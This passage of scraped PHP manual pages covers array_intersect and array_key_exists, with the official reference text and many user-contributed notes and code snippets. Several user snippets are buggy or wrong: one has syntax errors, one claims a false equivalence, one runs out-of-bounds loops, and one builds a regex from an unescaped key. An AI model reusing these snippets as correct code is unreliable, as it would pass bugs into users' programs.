                    if($occurrence == count($arrays))
                        {
                        $intersection[] = $arrays[0][$checked_item];
                        }
                    }
                }
            }
        }

    return $intersection;
    }
?>
Yohann 12-Apr-2010 04:36
I used array_intersect in order to sort an array arbitrarly:

<?php
$a = array('one', 'two', 'three', 'four', 'five', 'six', 'seven', 'height', 'nine', 'ten');
$b = array('four', 'one', 'height', 'five')
var_dump(array_intersect($a, $b);
?>

will output:

0 => 'one'
1 => 'four'
2 => 'five'
3 => 'height'

i hope this can help...
james -at- bandit.co -dot- nz 08-Apr-2010 06:07
I needed an array_intersect that would delete the intersecting values from the original array. Voila:

<?php
// array_intersect that splits the needle array into two - one filled with "intersected" results, and one filled with the remainder
function array_intersect_split(&$needle, $haystack, $preserve_keys = false) {
    if(!is_array($needle) || !is_array($haystack)) return false;
    $new_arr = array();
    foreach($needle as $key => $value) {
        if(($loc = array_search($value, $haystack))!==false) {
            if(!$preserve_keys) $new_arr[] = $value;
            else $new_arr[$key] = $value;
            unset($needle[$key]);
        }
    }
    return $new_arr;
}
?>
189780 at gmail dot com 02-Jan-2010 07:26
Actually array_intersect finds the dublicate values, here is my approach which is 5 times faster than built-in function array_intersect().. Give a try..

<?php
function my_array_intersect($a,$b)
{
        for($i=0;$i<sizeof($a);$i++)
        {
                $m[]=$a[$i];
        }
        for($i=0;$i<sizeof($a);$i++)
        {
                $m[]=$b[$i];
        }
        sort($m);
        $get=array();
        for($i=0;$i<sizeof($m);$i++)
        {
                if($m[$i]==$m[$i+1])
                $get[]=$m[$i];
        }
        return $get;
}
?>

Barış ÇUHADAR
189780@gmail.com
Shawn Pyle 13-Aug-2009 09:29
array_intersect handles duplicate items in arrays differently. If there are duplicates in the first array, all matching duplicates will be returned. If there are duplicates in any of the subsequent arrays they will not be returned.

<?php
array_intersect(array(1,2,2),array(1,2,3)); //=> array(1,2,2)
array_intersect(array(1,2,3),array(1,2,2)); //=> array(1,2)
?>
gary 21-Jun-2009 12:57
i wrote this one to get over the problem i found in getting strings intersected instead of arrays as there is no function in php.

<?php
function matched_main_numbers($string, $string2)
{
$string = "04 16 17 20 29";
$arr1 = explode(" ", $string);

$string2 = "45 34 04 29 16";
$arr2 = explode(" ", $string2);

$array = array_intersect($arr1, $arr2);
$comma_separated = implode($array);

$str = $comma_separated;

$balls = "$comma_separated";
$matched_balls = chunk_split($balls,2," ");
$matched_balls =" $matched_balls";

$number_of_matched_main_balls = strlen($str);
$number_of_matched_main_balls = ($number_of_matched_main_balls/2);
$numbers = "You matched $number_of_matched_main_balls main balls";

return $numbers;

}
?>
Oto Brglez 10-Mar-2009 07:02
If you wish to create intersection with arrays that are empty. Than the result of intersection is empty array.

If you wish to change this. I sugest that you do this.
It simply "ignores" empty arrays. Before loop use 1st array.

<?php

$a = array();
$a[] = 1;
$a[] = 2;
$a[] = 3;

$b = array();
$b[] = 4;
$b[] = 5;
$b[] = 1;

$c = array();
$c[] = 1;
$c[] = 5;
$d = array();

$kb=array('a','b','c','d');

$out = $a;
foreach($kb as $k){
    if(!empty(${$k})) $out = array_intersect($out,${$k});
};
print_r($out);
// The result is array

// The result is empty array
print_r(array_intersect($a,$b,$c,$d));

?>
karl at libsyn dot com 30-Jan-2009 09:58
Given a multidimensional array that represents AND/OR relationships (example below), you can use a recursive function with array_intersect() to see if another array matches that set of relationships.

For example: array( array( 'red' ), array( 'white', 'blue' ) ) represents "red OR ( white AND blue )".  array( 'red', array( 'white', 'blue' ) ) would work, too, BTW.

If I have array( 'red' ) and I want to see if it matches the AND/OR array, I use the following function.  It returns the matched array,
but can just return a boolean if that's all you need:

<?php
$needle = array( array( 'red' ), array( 'white', 'blue' ) );
$haystack = array( 'red' );

function findMatchingArray( $needle, $haystack ) {
    foreach( $needle as $element ) {
        $test_element = (array) $element;
        if( count( $test_element ) == count( array_intersect( $test_element, $haystack ) ) ) {
            return $element;
        }

    }
    return false;
}
?>

Pretty tough to describe what I needed it to do, but it worked.  I don't know if anyone else out there needs something like this, but hope this helps.
Esfandiar -- e.bandari at gmail dot com 10-Aug-2008 12:44
Regarding array union:  Here is a faster version array_union($a, $b)

But it is not needed!  See below.

<?php
                                        //  $a = 1 2 3 4
    $union =                            //  $b =   2   4 5 6
        array_merge(
            $a,
            array_diff($b, $a)          //               5 6
        );                              //  $u = 1 2 3 4 5 6
?>

You get the same result with $a + $b.

N.B. for associative array the results of $a+$b and $b+$a are different, I think array_diff_key is used.

Cheers, E
stuart at horuskol dot co dot uk 07-Jul-2008 03:57
A clearer example of the key preservation of this function:

<?php

$array1 = array(2, 4, 6, 8, 10, 12);
$array2 = array(1, 2, 3, 4, 5, 6);

var_dump(array_intersect($array1, $array2));
var_dump(array_intersect($array2, $array1));

?>

yields the following:

array(3) {
  [0]=> int(2)
  [1]=> int(4)
  [2]=> int(6)
}

array(3) {
  [1]=> int(2)
  [3]=> int(4)
  [5]=> int(6)
}

This makes it important to remember which way round you passed the arrays to the function if these keys are relied on later in the script.
Malte 10-Feb-2008 10:34
Extending the posting by Terry from 07-Feb-2006 04:42:

If you want to use this function with arrays which have sometimes the same value several times, it won't be checked if they're existing in the second array as much as in the first.
So I delete the value in the second array, if it's found there:

<?php
$firstarray = array(1, 1, 2, 3, 4, 1);
$secondarray = array(4, 1, 6, 5, 4, 1);

//array_intersect($firstarray, $secondarray): 1, 1, 1, 4

foreach ($firstarray as $key=>$value){
    if (!in_array($value,$secondarray)){
        unset($firstarray[$key]);
    }else{
        unset($secondarray[array_search($value,$secondarray)]);
    }
}

//$firstarray: 1, 1, 4

?>
aaron 17-Dec-2006 09:36
this one will work with associative arrays.  also an overwrite function to only replace those elements in the first array.

<?php

function array_union()
{
    if (func_num_args() < 2) { return; }
    $arrays = func_get_args();
    $outputArray = array_shift($arrays);
    $remaining = count($arrays);
    for ($i=0; $i<$remaining; $i++)
    {
        $nextArray = $arrays[$i];
        foreach ($nextArray as $key=>$value)
        {
            $outputArray[$key] = $value;
        }
    }
    return $outputArray;
}

function array_overwrite()
{
    if (func_num_args() < 2) { return; }
    $arrays = func_get_args();
    $outputArray = array_shift($arrays);
    $remaining = count($arrays);
    for ($i=0; $i<$remaining; $i++)
    {
        $nextArray = $arrays[$i];
        foreach ($nextArray as $key=>$value)
        {
            if (array_key_exists($key, $outputArray)) {    $outputArray[$key] = $value; }
        }
    }
    return $outputArray;
}

?>
Niels 19-Sep-2006 04:53
Here is a array_union($a, $b):

<?php
                                        //  $a = 1 2 3 4
    $union =                            //  $b =   2   4 5 6
        array_merge(
            array_intersect($a, $b),    //         2   4
            array_diff($a, $b),         //       1   3
            array_diff($b, $a)          //               5 6
        );                              //  $u = 1 2 3 4 5 6
?>
nthitz at gmail dot com 08-Jun-2006 09:09
I did some trials and if you know the approximate size of the arrays then it would seem to be a lot faster to do this <?php array_intersect($smallerArray, $largerArray); ?> Where $smallerArray is the array with lesser items. I only tested this with long strings but I would imagine that it is somewhat universal.
terry(-at-)shuttleworths(-dot-)net 07-Feb-2006 07:42
I couldn't get array_intersect to work with two arrays of identical objects, so I just did this:

foreach ($firstarray as $key=>$value){
    if (!in_array($value,$secondarray)){
        unset($firstarray[$key]);
    }
}

This leaves $firstarray as the intersection.

Seems to work fine & reasonably quickly.
tom p 04-Nov-2005 06:54
If you store a string of keys in a database field and want to match them to a static array of values, this is a quick way to do it without loops:

<?

$vals = array("Blue","Green","Pink","Yellow");
$db_field = "0,2,3";

echo implode(", ", array_flip(array_intersect(array_flip($vals), explode(",", $db_field))));

// will output "Blue, Pink, Yellow"

?>
sapenov at gmail dot com 10-Jun-2005 01:11
If you need to supply arbitrary number of arguments
to array_intersect() or other array function,
use following function:

$full=call_user_func_array('array_intersect', $any_number_of_arrays_here);
SETS INTERSECTION 18-May-2005 11:19
$a = array(1,2,3,4,5,2,6,1);  /* repeated elements --> $a is not a set */
$b = array(0,2,4,6,8,5,7,9,2,1);  /* repeated elements --> $b is not a set */

$ua = array_merge(array_unique($a));  /* now, $a is a set */
$ub = array_merge(array_unique($b));  /* now, $b is a set */

$intersect = array_merge(array_intersect($ua,$ub));

Note: 'array_merge' removes blank spaces in the arrays.
Note: order doesn't matter.

In one line:

$intersect_a_b = array_merge(array_intersect(array_merge(array_unique($a)), array_merge(array_unique($b))));

Additions/corrections wellcome...

gRiNgO
drew at iws dot co dot nz 21-Apr-2005 08:04
Just a handy tip.

If you want to produce an array from two seperate arrays on their intersects, here you go:

<?

$a = array("branches","E_SHOP");
$b = array("E_SHOP","Webdirector_1_0");

print join("/",array_merge(array_diff($a, $b), array_intersect($a, $b), array_diff($b, $a)));

?>

Gives you:

/branches/E_SHOP/Webdirectory_1_0
blu at dotgeek dot org 14-Oct-2004 05:34
Note that array_intersect and array_unique doesnt work well with multidimensional arrays.
If you have, for example,

<?php

$orders_today[0] = array('John Doe', 'PHP Book');
$orders_today[1] = array('Jack Smith', 'Coke');

$orders_yesterday[0] = array('Miranda Jones', 'Digital Watch');
$orders_yesterday[1] = array('John Doe', 'PHP Book');
$orders_yesterday[2] = array('Z� da Silva', 'BMW Car');

?>

and wants to know if the same person bought the same thing today and yesterday and use array_intersect($orders_today, $orders_yesterday) you'll get as result:

<?php

Array
(
    [0] => Array
        (
            [0] => John Doe
            [1] => PHP Book
        )

    [1] => Array
        (
            [0] => Jack Smith
            [1] => Coke
        )

)

?>

but we can get around that by serializing the inner arrays:
<?php

$orders_today[0] = serialize(array('John Doe', 'PHP Book'));
$orders_today[1] = serialize(array('Jack Smith', 'Coke'));

$orders_yesterday[0] = serialize(array('Miranda Jones', 'Digital Watch'));
$orders_yesterday[1] = serialize(array('John Doe', 'PHP Book'));
$orders_yesterday[2] = serialize(array('Z� da Silva', 'Uncle Tungsten'));

?>

so that array_map("unserialize", array_intersect($orders_today, $orders_yesterday)) will return:

<?php

Array
(
    [0] => Array
        (
            [0] => John Doe
            [1] => PHP Book
        )

)

?>

showing us who bought the same thing today and yesterday =)

[]s
tompittlik at disfinite dot net 24-Jun-2004 06:27
Just a small mod to ben's code to make it work properly:

<?php

if(sort(array_unique($b + $a)) === sort($b))
 // $a is legit
}

?>

This is useful for checking for illegal characters in a username.
t dot wiltzius at insightbb dot com 23-Jun-2004 09:33
I needed to compare an array with associative keys to an array that contained some of the keys to the associative array. Basically, I just wanted to return only a few of the entries in the original array, and the keys to the entries I wanted were stored in another array. This is pretty straightforward (although complicated to explain), but I couldn't find a good function for comparing values to keys. So I wrote this relatively straightforward one:

<?php

function key_values_intersect($values,$keys) {
   foreach($keys AS $key) {
      $key_val_int[$key] = $values[$key];
      }
   return $key_val_int;
   }

$big = array("first"=>2,"second"=>7,"third"=>3,"fourth"=>5);
$subset = array("first","third");

print_r(key_values_intersect($big,$subset));

?>

This will return:

Array ( [first] => 2 [third] => 3 )
anbolb at boltblue dot com 09-Jan-2004 01:11
This is also handy for testing an array for one of a series of acceptable elements. As a simple example, if you're expecting the query string to contain one of, say, user_id, order_id or item_id, to find out which one it is you could do this:

<?php
    $valid_ids = array ('user_id', 'item_id', 'order_id');
    if ($id = current (array_intersect ($valid_ids, array_keys ($_GET))))
    {
        // do some stuff with it
    }
    else
        // error - invalid id passed, or none at all
?>

...which could be useful for constructing an SQL query, or some other situation where testing for them one by one might be too clumsy.
ben at kazez dot com 09-Dec-2003 10:49
To check whether an array $a is a subset of array $b, do the following:

<?php
if(array_unique($b + $a) === $b)
//...
?>

Actually, PHP ought to have a function that does this for you. But the above example works.
Alessandro Ranellucci alex at primafila dot net 16-Jul-2003 06:35
array_intersect($array1, $array2);
returns the same as:
array_diff($array1, array_diff($array1, $array2));
inerte is my hotmail.com username 26-Jun-2003 03:50
If you have a slow database query that uses JOIN, try to array_intersect() the table records.

I hung up my server countless times before using this function. Simple select from one table and put the records in an array ($records_1), then select records from any other table and put them in another array($records_2).

array_intersect() will emulate a JOIN for you.

<?php
$emulated_join = array_intersect($records_1, $records_2);
?>

Remember to test if it really offers a speed improvement, your mileage may vary (database type, hardware, version, etc...)

You could also emulate a JOIN from two text files, reading each line with the file() function.
david at audiogalaxy dot com 09-Apr-2001 04:54
Note that array_intersect() considers the type of the array elements when it compares them.

If array_intersect() doesn't appear to be working, check your inputs using var_dump() to make sure you're not trying to intersect an array of integers with an array of strings.
array_intersect_ukey
array_key_exists
Array Functions


Checks if the given key or index exists in the array

array_intersect
array_keys
Array Functions
PHP Manual

array_key_exists

(PHP 4 >= 4.0.7, PHP 5)

array_key_exists — Checks if the given key or index exists in the array

Description

bool array_key_exists ( mixed $key , array $search )

array_key_exists() returns TRUE if the given key is set in the array. key can be any value possible for an array index.

Parameters

key

Value to check.

search

An array with keys to check.

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.3.0 | This function doesn't work with objects anymore, property_exists() should be used in this case.

Examples

Example #1 array_key_exists() example

<?php
$search_array = array('first' => 1, 'second' => 4);
if (array_key_exists('first', $search_array)) {
    echo "The 'first' element is in the array";
}
?>

Example #2 array_key_exists() vs isset()

isset() does not return TRUE for array keys that correspond to a NULL value, while array_key_exists() does.

<?php
$search_array = array('first' => null, 'second' => 4);

// returns false
isset($search_array['first']);

// returns true
array_key_exists('first', $search_array);
?>

Notes

Note:

For backward compatibility, the following deprecated alias may be used: key_exists()

See Also

  • isset() - Determine if a variable is set and is not NULL
  • array_keys() - Return all the keys or a subset of the keys of an array
  • in_array() - Checks if a value exists in an array
  • property_exists() - Checks if the object or class has a property

User Contributed Notes

Rudi 10-Nov-2011 02:10
I've got a new take on the multi key function I would like to share.

<?php
function array_multi_key_exists(array $arrNeedles, array $arrHaystack, $blnMatchAll=true){
    $blnFound = array_key_exists(array_shift($arrNeedles), $arrHaystack);

    if($blnFound && (count($arrNeedles) == 0 || !$blnMatchAll))
        return true;

    if(!$blnFound && count($arrNeedles) == 0 || $blnMatchAll)
        return false;

    return array_multi_key_exists($arrNeedles, $arrHaystack, $blnMatchAll);
}
?>

Hope you'll find it usefull.
glitch dot mr at gmail dot com 01-Oct-2011 04:15
As you might know, isset() is actually working like @$variable===NULL. As the result, it doesn't actually catch variables set to NULL. If you want to check if variable is set (even to NULL), you can use array_key_exists on $GLOBALS, like there.

<?php
   $me = null;
   $se = 1;
   unset($se);
// $he is not set

if(array_key_exists('me', $GLOBALS)) echo "\$me exists\n";
if(array_key_exists('se', $GLOBALS)) echo "\$se exists\n";
if(array_key_exists('he', $GLOBALS)) echo "\$he exists\n";

?>

In this case, only $me will be detected as $se was removed when code was running and $he was never set.
Anonymous 16-Jun-2011 01:07
I just want to note that array_key_exists() can be extremely slow for large (>200 keys) arrays.  Use isset($array($key)) instead!  My program ran in 3 minutes instead of 2 hours after switching to isset()!
manhon824 at gmail dot com 18-May-2011 09:29
I took hours for me to debug, and I finally recognized that,

You have to reset the $array before using array_key_exists
reset($array);
array_key_exists($needle,$array);

Or you will get no reply.
tech at signhere envy dot de 18-Jan-2011 02:23
Hey, this function is able to rename a key inside an array.

If the key to be replaced doesn't exist inside the array, or the new key already exists in the array, the function will return FALSE.
Otherwise, the array with the renamed key will be returned.

Hope this will be useful for someone.
<?php
function array_rename_key($array, $key, $newkey){
    if( ! array_key_exists($key, $array) || array_key_exists($newkey, $array)) return FALSE;
    $uid = uniqid(''); //To clearly identify the Element.
    $preserve_value = $array[$key]; //Keep the Value
    $array[$key] = $uid; //Overwrite Value with ID
    $array = array_flip($array); //Flip the Array keys and values
    $array[$uid] = $newkey; //Set Value of the ID with new Key.
    $array = array_flip($array); //Everything back in Place.
    $array[$newkey] = $preserve_value;
    return $array;
}
?>
jens dot hoevenaars at gmail dot com 06-Nov-2010 03:21
I created this function that uses array key exist to compare a form and a table to see if something has changed.

This can be very helpfull if you need to update a table record from a form but you do not want to display all table fields.

<?php
function($data_from_db, $form_data) {
 $data = $data_from_db;
 $keys = array_keys($data);

    for($i = 0; $i < count($data); $i++) {
        if(!array_key_exists($keys[$i], $form_data)) {
            $dbobject->$keys[$i] = $data[$keys[$i]];
        } else {
            $dbobject->$keys[$i] = $form_data[$keys[$i]];
        }
    }
    return $dbobject;
}
?>

you can then use the dbobject to update the table.
moandsimon at btinternet dot com 26-Apr-2010 01:56
This uses array_key_exists.

You have a multidimensional array of the form:

$rowsoriginal[] = array('field_wrkvolmin_value' => 216, 'field_wrkvolmax_value' => 1000);
$rowsoriginal[] = array('field_wrkvolmin_value' => 27, 'field_wrkvolmax_value' => 216);

Using print_r this will look like:

Array ( [0] => Array ( [field_wrkvolmin_value] => 216 [field_wrkvolmax_value] => 1000 ) [1] => Array ( [field_wrkvolmin_value] => 27 [field_wrkvolmax_value] => 216 ) )

This can be used to create a table by iterating over the rows that looks like this:

field_wrkvolmin_value          field_wrkvolmax_value
           216                                      1000
            27                                       216

when $rowsoriginal contain a fixed but unknown amount of values.

If you want to process this in an automatic way without knowing the keys etc, into a multidimensional array of the form:

$rowstemp = array('field_wrkvolmin_value' => array(216, 27), 'field_wrkvolmax_value' => array(1000, 216));

Using print_r this will look like:

Array ( [field_wrkvolmin_value] => Array ( [0] => 216 [1] => 27 ) [field_wrkvolmax_value] => Array ( [0] => 1000 [1] => 216 ) )

This can be used to iterate over the rows of a table to create a table in the form of:

field_wrkvolmin_value            216            27
field_wrkvolmax_value           1000           216

To do this you can use the following looping and conditional structure, using array_key_exists():

<?php
$rowstemp = array();
foreach ($rowsoriginal as $row) {
    foreach ($row as $key => $value) {
        if (array_key_exists($key, $rowstemp)) {
            $rowstemp[$key][] = $value;
        }
        else {
            $valuestemp = array($value);
            $rowstemp[$key] = $valuestemp;
        }
    }
}
?>
gmdebby at gmail dot com 14-Jan-2010 05:44
A little function which take an array as keys

<?php
//note the s in the function name (keys)
function array_keys_exists($array,$keys) {
    foreach($keys as $k) {
        if(!isset($array[$k])) {
        return false;
        }
    }
    return true;
}
?>
//useful to validate a form for example
<form>
    <input type="text" name="field1" /><br />
    <input type="text" name="field2" /><br />
    <input type="text" name="field3" /><br />
    <input type="text" name="field4" /><br />
    <input type="text" name="field5" /><br />
</form>
<?php
if(!array_keys_exists($_POST,
array("field1","field2","field3","field4","field5")
)) {
    //some fields are missing, dont do anything (maybe hacking)
} else {
    //code ...
}
?>
Darkless at seznam dot cz 13-Nov-2009 09:17
a bit upgraded multi_array_key_exists function

@param needle string to be searched in keys
@param haystack array to be searched in

@return false when it was not found or string structured by name of keys devided by ":"

eg $arrays = array ('first' => array ( 'one'=> 'anything'));

for multi_array_key_exists('one',$arrays) it returns:
"first:one" by explode you can then write sth like $array[$path[0]][$path[1]]...
<?php

function multi_array_key_exists($needle, $haystack) {
      foreach ($haystack as $key=>$value) {
        if ($needle===$key) {
          return $key;
        }
        if (is_array($value)) {
          if(multi_array_key_exists($needle, $value)) {
            return $key . ":" . multi_array_key_exists($needle, $value);
          }
        }
      }
  return false;
}
?>
PHPEric 05-Aug-2009 06:51
Very simple case-insensitive array_key_exists:

bool (in_array(strtolower($needle), array_map('strtolower', array_keys($haystack))))
tom at edgedesigns dot org 21-Jul-2009 05:10
The multi_array_key_exists() function posted by alishahnovin at hotmail dot com [which has since been removed] does not always return the expected result.

This modified version does.

<?php
/**
 * multi_array_key_exists function.
 *
 * @param mixed $needle The key you want to check for
 * @param mixed $haystack The array you want to search
 * @return bool
 */
function multi_array_key_exists( $needle, $haystack ) {

    foreach ( $haystack as $key => $value ) :

        if ( $needle == $key )
            return true;

        if ( is_array( $value ) ) :
             if ( multi_array_key_exists( $needle, $value ) == true )
                return true;
             else
                 continue;
        endif;

    endforeach;

    return false;
}

?>
webmaster at oehoeboeroe dot nl 04-May-2009 01:09
The way array_key_exists handles null, float, boolean, and 'integer-representing string' keys is inconsistent in itself and, in the case of bool and float, with the way these are converted when used as array offset.

<?php
$array = array(null => 1, false => 2, true => 3, 4.6 => 4, "08" => 5, "8" => 6);
var_export($array);

echo "\nnull is " . (array_key_exists(null, $array) ? '' : 'not ') . "a key.\n";
echo 'false is ' . (array_key_exists(false, $array) ? '' : 'not ') . "a key.\n";
echo 'true is ' . (array_key_exists(true, $array) ? '' : 'not ') . "a key.\n";
echo '4.6 is ' . (array_key_exists(4.6, $array) ? '' : 'not ') . "a key.\n";
echo '"08" is ' . (array_key_exists("08", $array) ? '' : 'not ') . "a key.\n";
echo '"8" is ' . (array_key_exists("8", $array) ? '' : 'not ') . "a key.\n";
?>

Output:

array (
  '' => 1,
  0 => 2,
  1 => 3,
  4 => 4,
  '08' => 5,
  8 => 6,
)
null is a key.
false is not a key.
true is not a key.
4.6 is not a key.
"08" is a key.
"8" is a key.

Well, and you get this warning three times (on the bools and the float, but not on the null):

Warning:  array_key_exists() [function.array-key-exists]: The first argument should be either a string or an integer in /var/www/php/test.php on line 6
Gibson SG 25-Feb-2009 03:55
Below is a more efficient and useful case-insensitive array_key_exists function. More useful in the sense that it returns the matching key.

<?php
/**
* Case insensitive version of array_key_exists.
* Returns the matching key on success, else false.
*
* @param string $key
* @param array $search
* @return string|false
*/
function array_key_exists_nc($key, $search) {
    if (array_key_exists($key, $search)) {
        return $key;
    }
    if (!(is_string($key) && is_array($search) && count($search))) {
        return false;
    }
    $key = strtolower($key);
    foreach ($search as $k => $v) {
        if (strtolower($k) == $key) {
            return $k;
        }
    }
    return false;
}

/* Test code: */
$array = array(
    'taste' => 'sweet',
    'cOlOr' => 'yellow',
    'foo',
    'bar',
);
$keys = array(
    'Color',
    'google',
    0,
);
foreach ($keys as $key) {
    print "\t$key: "; var_dump(array_key_exists_nc($key, $array));
}

/* Output:
        Color: string(5) "cOlOr"
        google: bool(false)
        0: int(0)
*/
?>
csaba at alum dot mit dot edu 20-Jan-2009 05:13
In some functions cacheing can be extremely useful, and this is especially true in recursive functions, and all the more so in doubly recursive functions.  One way to effect cacheing is to have a static array in the function as shown below.  This will typically be useful when a function has one or two arguments and is heavily called.  Example:

<?php
function nk($n, $k) {
  // n choose k, ensuring integer math
  if ($k > $n-$k) $k = $n - $k;         // (n,k) = (n,n-k)
  if ($k<=1) return ($k==1) ? $n : !$k; // (n,1) = n; (n,0)=1; (n,-#) = 0

  static $aNK = array();                // caching section
  if ($aNK[$n][$k]) return $aNK[$n][$k];// if answer already computed => done

  // else compute answer, cache it, and return
  return ($aNK[$n][$k] = nk($n-1, $k) + nk($n-1, $k-1)); }

$n = 20;
$k = 9;
$nk = nk($n,$k);
print "nk($n, $k) = $nk";
?>

For functions of two arguments, using a two dimensional array seems to be faster than combining arguments a la "$n $k", and the form of testing shown above is also faster than array_key_exists.  However, to avoid the use of array_key_exists, special consideration must be given to empty values (several prior notes cover this) - the example above works because no cached value can be 0.

Csaba Gabor from Vienna
John 18-Jan-2009 09:27
Here is a little function for case sensitivity to elaborate on what was said by MarkL from ##php (Freenode) and mmanning at mdanderson dot org from this page:

<?php
// Case sensitive version of array_key_exists() using preg_match()
function array_ikey_exists($key,$arr)
{
    if(preg_match("/".$key."/i", join(",", array_keys($arr))))
        return true;
    else
        return false;
}
?>

Not that anyone else couldn't have written this, but a concept like this strengthens reusability.  :)

Also, I've been running into issues with escaping for Regex, so I decided to give something like this a shot:

<?php
function array_ikey_exists($key,$arr)
{
    $e = 0; //$key = addslashes($key);
    if(is_array($arr) && $arr !==array())
    {
        foreach($arr as $k => $v)
        {
            if(strtolower($k) == strtolower($key))
                $e++;
        }
        if($e>0)
            return true;
        else
            return false;
    }
    else
        return false;
}
?>

You could addslashes() to escape; it's just another approach.
david at lostair dot com 07-Dec-2008 12:07
It is important to realise that:

  isset($array ['index'])

Does not act the same as:

  array_key_exists('index', $array)

This is because if an array value is set to NULL

$array['index'] = NULL;

Then isset will return FALSE and array_key_exists will return TRUE.

It is important to realise this!
mmanning at mdanderson dot org 21-Oct-2008 08:13
Something to keep in mind is that array_key_exists is case sensitive.  So two things I'd like to say:

1. Could there be an additional option added on to the array_key_exists command so you can specify the case to be insensitive?

2. Here is how you can do this test in one command:

   if( preg_match("/<key>/i", join(",", array_keys(<array>))) ){
      <Do something>
      }

But it would be a lot nicer to just have an additional option on the array_key_exists.  Like so:

   array_key_exists(<array>, ["i"] );

Ok - so why did this come up at all?  I wrote a routine to convert any whacky UppERcAsE kind of lettering to just be lowercase letters. (ex: FgColorS becomes fgcolors and so forth.)  So I never had to guess what the user was putting in to the program.  There were two particular items (fgColors and bgColors) which I wanted to test against.  If they were not supplied, my program would supply them.  The above was the easiest way I could come up with to do this.  :-)
Karim Ratib 19-Aug-2008 05:09
Here's a function to return a reference to the first array element that has a given key. The code works for multidimensional arrays:

<?php
function &array_find_element_by_key($key, &$form) {
  if (array_key_exists($key, $form)) {
    $ret =& $form[$key];
    return $ret;
  }
  foreach ($form as $k => $v) {
    if (is_array($v)) {
      $ret =& array_find_element_by_key($key, $form[$k]);
      if ($ret) {
        return $ret;
      }
    }
  }
  return FALSE;
}
?>
jacobsingh at gmail dot com 17-Jun-2008 03:54
I saw some examples above for array_keys_exist() or functions to see if multiple keys exist in a given array and return false if any of them don't.

Here is a simpler way to do this:

<?php

function array_keys_exist($keys,$array) {
    if (count (array_intersect($keys,array_keys($array))) == count($keys)) {
        return true;
    }
}

$array = array ('filename' => 'myfile', 'filesize' => 1234, 'filepath' => '/tmp/myfile');
$keys = array('filename','filesize','filepath');

echo array_keys_exist($keys,$array);
//returns true

$keys[] = "somethingelse";

echo array_keys_exist($keys,$array);
//Returns false

?>
mankyd at gmail dot com 28-May-2008 10:29
You'll notice several notes on this page stating that isset() is significantly faster than array_key_exists(). This may be true except for one small hitch. isset() will return false for arrays keys that have there value set to NULL, which is therefore not entirely accurate.

Example:

<?php
$foo = array();
$foo['bar'] = NULL;

var_dump(isset($foo['bar']));
var_dump(array_key_exists('bar', $foo));
?>

will output:
bool(false)
bool(true)

Be aware of this!
bplessingerMONKEYleapfroginteractive.com 30-Apr-2008 09:22
I noticed that the function for recursion broke the ability to use this on objects, so I added another check to also allow it to work for objects.

<?php

function array_key_exists_r($needle, $haystack)
{
    $result = array_key_exists($needle, $haystack);
    if ($result)
        return $result;
    foreach ($haystack as $v)
    {
        if (is_array($v) || is_object($v))
            $result = array_key_exists_r($needle, $v);
        if ($result)
        return $result;
    }
    return $result;
}
?>
tmont 29-Apr-2008 02:54
The argument of array_key_exists() vs. isset() came up in the workplace today, so I conducted a little benchmark to see which is faster:

<?php
    // one-dimensional arrays
    $array = array_fill(0,50000,'tommy is the best!');
    $arraykeyexists_result = array();

    $start = microtime(true);
    for ($i = 0; $i < 100000; $i++) {
        if (array_key_exists($i,$array)) {
            $arraykeyexists_result[] = 1;
        }
        else {
            $arraykeyexists_result[] = 0;
        }
    }
    $arrtime = round(microtime(true)-$start,3);

    $start = microtime(true);
    for ($i = 0; $i < 100000; $i++) {
        if (isset($array[$i])) {
            $arraykeyexists_result[] = 1;
        }
        else {
            $arraykeyexists_result[] = 0;
        }
    }
    $istime = round(microtime(true)-$start,3);

    $totaltime = $arrtime+$istime;
    $arrpercentage = round(100*$arrtime/$totaltime,3);
    $ispercentage = round(100*$istime/$totaltime,3);

    echo "array_key_exists(): $arrtime [$arrpercentage%] seconds\n";
    echo "isset():            $istime [$ispercentage%] seconds\n";

?>

On Windows, the output is similar to

array_key_exists(): 0.504 [82.895%] seconds
isset():            0.104 [17.105%] seconds

On Mac or Linux, isset() is faster but only by a factor of approximately 1.5.
Benjamin*removethis*BeckATgmx.de 08-Mar-2008 11:24
Hi, i needed a recursive check is a key exists .. so here it is. I Hope it saves you time (-:

<?php
function array_key_exists_r($needle, $haystack)
{
    $result = array_key_exists($needle, $haystack);
    if ($result) return $result;
    foreach ($haystack as $v) {
        if (is_array($v)) {
            $result = array_key_exists_r($needle, $v);
        }
        if ($result) return $result;
    }
    return $result;
}

$test = array(
    "L0"    =>    array(
        "Über uns"    => array(
            "name" => "Über uns",
            "MenuLast" => 0,
            "subMenu" => 8,
            "href" => "/admin/pages/admin_page_edit.php?nav_gid=1.1",
            "navid" => 1.1,
            "posid" => 1,
            "klickPath" => 0,
        ),
        "Was wir tun"    => array(
            "name" => "Über uns",
            "MenuLast" => 0,
            "subMenu" => 8,
            "href" => "/admin/pages/admin_page_edit.php?nav_gid=1.1",
            "navid" => 1.1,
            "posid" => 1,
            "klickPath" => 0,
        ),
    ),
);

dumpvar(array_key_exists_r('navid', $test), 'array_key_exists_r(\'navid\', $test)');
?>
Output:
var array_key_exists_r('navid', $test)(boolean): 'true'
packard_bell_nec at hotmail dot com 31-Jan-2008 09:46
You can check whether a variable is defined by using array_key_exists()!
First, you may ask that no reserved array (would be called $LOCALS) is predefined in function scope (contrast to reserved array $GLOBALS in global scope. To solve it, you can use compact().
Then, you may ask that why property_exists() cannot be used. This is because no reserved function is predefined to create OBJECT containing variables and their values, and no reserved function is predefined to import variables into the current symbol table from an OBJECT. In addition, property_exists() breaks the naming convention of reserved function.
Finally, I show how to check whether a variable is defined by using array_key_exists():
<?php
function too(){
$roo = array_key_exists('foo', compact('foo'));
echo ($roo?'1':'0').'<br/>';
$foo = null;
$roo = array_key_exists('foo', compact('foo'));
echo ($roo?'1':'0').'<br/>';
}
too();
?>
The output will be:
0<br/>
1<br/>
mudsrcool at yahoo dot com 29-Dec-2007 04:19
If you use func_get_args, you can make a slightly prettier implementation of diogoshaw's function:

<?php

function array_keys_exist() {
    $keys = func_get_args();
    $haystack = array_shift($keys);
    foreach ($keys as $key)
        if (!array_key_exists($key, $haystack)) return false;
    return true;
}

//Pans out as:
if (array_keys_exist($_GET, 'login', 'user', 'passwd') {
   //login;
} else {
   //don't login;
}

?>
Erel Segal 13-Nov-2007 12:18
array_diff can be very slow when the arrays are big. If all you need is to check which elements in array1 are not KEYS in array2, DON'T use:

<?php
  array_diff($array1,array_keys($array2))
?>

A much quicker option is:

<?php
    foreach ($array1 as $key=>$value) {
        if (isset($array2[$key]))
